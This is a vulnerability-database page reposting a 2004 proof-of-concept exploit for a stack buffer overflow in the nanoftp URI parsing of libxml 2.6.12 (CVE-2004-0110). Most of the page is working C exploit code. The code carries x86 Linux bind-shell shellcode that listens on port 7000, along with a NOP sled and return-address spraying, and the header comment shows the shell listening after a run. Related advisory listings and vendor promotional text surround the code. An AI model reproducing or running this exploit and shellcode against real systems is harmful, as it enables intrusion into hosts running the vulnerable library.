libxml 2.6.12 nanoftp - Local Buffer Overflow
| Reporter | Title | Published | Views | Family All 52 |
|---|---|---|---|---|
| libxml2 stack buffer overflow in URI parsing | 8 Feb 200400:00 | – | freebsd | |
| CAN-2004-0110 | 23 Feb 202419:19 | – | cve | |
| CVE-2004-0110 | 4 Mar 200405:00 | – | cve | |
| CentOS 3 : libxml (CESA-2004:650) | 3 Jul 200600:00 | – | nessus | |
| Debian DSA-455-1 : libxml - buffer overflows | 29 Sep 200400:00 | – | nessus | |
| Fedora 11 : libxml-1.8.17-24.fc11 (2009-8582) | 18 Aug 200900:00 | – | nessus | |
| Fedora 10 : libxml-1.8.17-24.fc10 (2009-8594) | 18 Aug 200900:00 | – | nessus | |
| FreeBSD : libxml2 stack buffer overflow in URI parsing (847ade05-6717-11d8-b321-000a95bc6fae) | 23 Apr 200900:00 | – | nessus | |
| FreeBSD : libxml2 stack buffer overflow in URI parsing (208) | 6 Jul 200400:00 | – | nessus | |
| GLSA-200403-01 : Libxml2 URI Parsing Buffer Overflow Vulnerabilities | 30 Aug 200400:00 | – | nessus |
10
/*
* libxml 2.6.12 nanoftp bof POC infamous42mdAThotpopDOTcom
*
* [n00b localho outernet] gcc -Wall libsuxml.c -lxml2
* [n00b localho outernet] ./a.out
* Usage: ./a.out <retaddr> [ align ]
* [n00b localho outernet] netstat -ant | grep 7000
* [n00b localho outernet] ./a.out 0xbfff0360
* xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
* [n00b localho outernet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <libxml/nanoftp.h>
#define die(x) do{ perror((x)); exit(1); }while(0)
#define BS 0x10000
#define NOP 0x90
#define NNOPS 3000
#define ALIGN 0
/* call them */
#define SHELL_LEN (sizeof(sc)-1)
char sc[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
/*
*/
int main(int argc, char **argv)
{
int x = 0, len = 0;
char buf[BS] = {'A',};
long retaddr = 0, align = ALIGN;
if(argc < 2){
fprintf(stderr, "Usage: %s <retaddr> [ align ]\n", argv[0]);
return EXIT_FAILURE;
}
if(sscanf(argv[1], "%lx", &retaddr) != 1)
die("sscanf");
if(argc > 2)
align = atoi(argv[2]);
if(align < 0 || align > 3)
die("nice try newblar");
strncpy(buf, "://[", 4);
len += 4;
memset(buf+len, NOP, NNOPS);
len += NNOPS;
memcpy(buf+len, sc, SHELL_LEN);
len += SHELL_LEN;
len += align;
for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
memcpy(buf+len+x, &retaddr, sizeof(retaddr));
buf[len+x] = ']';
buf[len+x+1] = 0;
xmlNanoFTPNewCtxt(buf);
return EXIT_SUCCESS;
}
// milw0rm.com [2004-10-26]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Apr 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.24232